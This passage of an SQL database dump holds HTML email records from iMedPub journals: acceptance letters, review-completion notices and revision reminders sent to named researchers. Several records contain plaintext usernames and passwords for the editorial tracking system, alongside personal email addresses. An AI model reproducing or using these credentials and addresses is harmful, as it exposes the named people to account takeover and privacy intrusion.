<b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','israr12378@gmail.com',6328,'2020-11-09',673),(2204,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6232</b><br />\r\n            <br />\r\n            Article Title: <b>The Neuromodulatory Effect of Vagus Nerve Stimulation (VNS) in Drug Resistant Generalized Epilepsy in Saudi Arabia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alshahrani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr3shwaq@gmail.com',6232,'2020-11-10',75),(2205,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6390</b><br />\r\n            <br />\r\n            Article Title: <b>Gait Maturation in Healthy Children- a Multifractal Approach</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Srimonti Dutta</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>R. Gainetdinov</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6390</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','raul.gainetdinov@iit.it',6390,'2020-11-10',673),(2213,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5912</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of Biofilm Formation by Staphylococcus aureus recovered from Clinical Samples of patients attending a Tertiary-care Hospital in North-eastern Nigeria</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Adam Mustapha</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-5912</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',5912,'2020-11-11',248),(2221,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-6216</b><br />\r\n            <br />\r\n            Article Title: <b>Protein C level and Activated Partial Thromboplastin Time in neonatal sepsis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hamad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','musab.noor13@gmail.com',6216,'2020-11-13',984),(2222,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-5760</b><br />\r\n            <br />\r\n            Article Title: <b>corona virus covid 19 investigated by world</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ondiveerappan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dramu0507@gmail.com',5760,'2020-11-13',984),(2223,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6390</b><br />\r\n            <br />\r\n            Article Title: <b>Gait Maturation in Healthy Children- a Multifractal Approach</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dutta</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','srimantid@yahoo.co.in',6390,'2020-11-13',673),(2224,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6096</b><br />\r\n            <br />\r\n            Article Title: <b>An Extra dural haemorrhage following the treatment of an atypical presentation of a venous sinus thrombosis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sahadevan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drmahavishnu@gmail.com',6096,'2020-11-13',75),(2246,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6350</b><br />\r\n            <br />\r\n            Article Title: <b>Retreatment in recurrences of high grade gliomas: feasibility of re-irradiation and concomitant chemotherapy</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Angela Caroli</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6350</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',6350,'2020-11-17',75),(2249,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6665</b><br />\r\n            <br />\r\n            Article Title: <b>Level of Active  Mental Health-Related Mass Media Female Students The during COVID-19 Pandemic</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Vukotic</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','marina.vukotic82@gmail.com',6665,'2020-11-17',48),(2250,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6663</b><br />\r\n            <br />\r\n            Article Title: <b>Dichlorodiph&Atilde;&copy;nyltrichloro&Atilde;&copy;thane (DDT) and breast cancer</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Oubannin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','samira.oubannin@edu.uiz.ac.ma',6663,'2020-11-17',48),(2251,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6350</b><br />\r\n            <br />\r\n            Article Title: <b>Retreatment in recurrences of high grade gliomas: feasibility of re-irradiation and concomitant chemotherapy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Caroli</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','angela.caroli@cro.it',6350,'2020-11-18',75),(2252,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6242</b><br />\r\n            <br />\r\n            Article Title: <b>BASILAR MEGADOLICHOECTASIA AND PITUITARY ADENOMA AS AN UNUSUAL CAUSE OF STROKE</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Maria Jose Abenza-Abildua</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6242</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',6242,'2020-11-18',75),(2255,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6346</b><br />\r\n            <br />\r\n            Article Title: <b>The Impact of COVID-19 on the Health Team Working in the Intensive Care Unit: A Systematic Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modestorolim@yahoo.com.br',6346,'2020-11-18',85),(2257,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6242</b><br />\r\n            <br />\r\n            Article Title: <b>BASILAR MEGADOLICHOECTASIA AND PITUITARY ADENOMA AS AN UNUSUAL CAUSE OF STROKE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abenza-Abildua</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mjose.abenza@salud.madrid.org',6242,'2020-11-19',75),(2264,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6153</b><br />\r\n            <br />\r\n            Article Title: <b>INTERPRITATION OF CORONARY ARTERY DISEASE THROUGH ENVIRONMENTAL/GENETIC RISK FACTORS AND CONTRIBUTING GENES: A COMPREHENSIVE REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Qammar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','najmaqammar@gmail.com',6153,'2020-11-20',85),(2265,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6086</b><br />\r\n            <br />\r\n            Article Title: <b>Giant Uterine Lipoleiomyoma Masquerading as Endometrial Carcinoma in a Young Nulliparous Lady - Clinical and Imaging Challenges.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>OSAWE</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','trends4real@yahoo.com',6086,'2020-11-20',85),(2266,'<p>Ref.:  Ms. No. : <b>ipaom-20-6348</b><br />\r\n<br />\r\nARTICLE TITLE: <b>REFUGEE HEALTH AND COVID-19 RESPONSE: HOW ARE COUNTRIES AROUND THE WORLD DEALING WITH  FORCIBLY DISPLACED PEOPLE IN THE PANDEMIC TIME?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. da Cruz</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6348</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>italo_silva</b><br />\r\npassword: <b>yX7DkIyk</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','itallo.sillva@hotmail.com',6348,'2020-11-20',85),(2267,'<p>Ref.:  Ms. No. : <b>ipaom-20-6347</b><br />\r\n<br />\r\nARTICLE TITLE: <b>AN OPEN-AIR NIGHTMARE: THE CURRENT CONCERNS ABOUT LEBANESE PEOPLE AND THEIR MENTAL HEALTH</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto </b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6347</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto</b><br />\r\npassword: <b>WtUQmeLg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','r.rrolim@bol.com.br',6347,'2020-11-20',85),(2269,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, 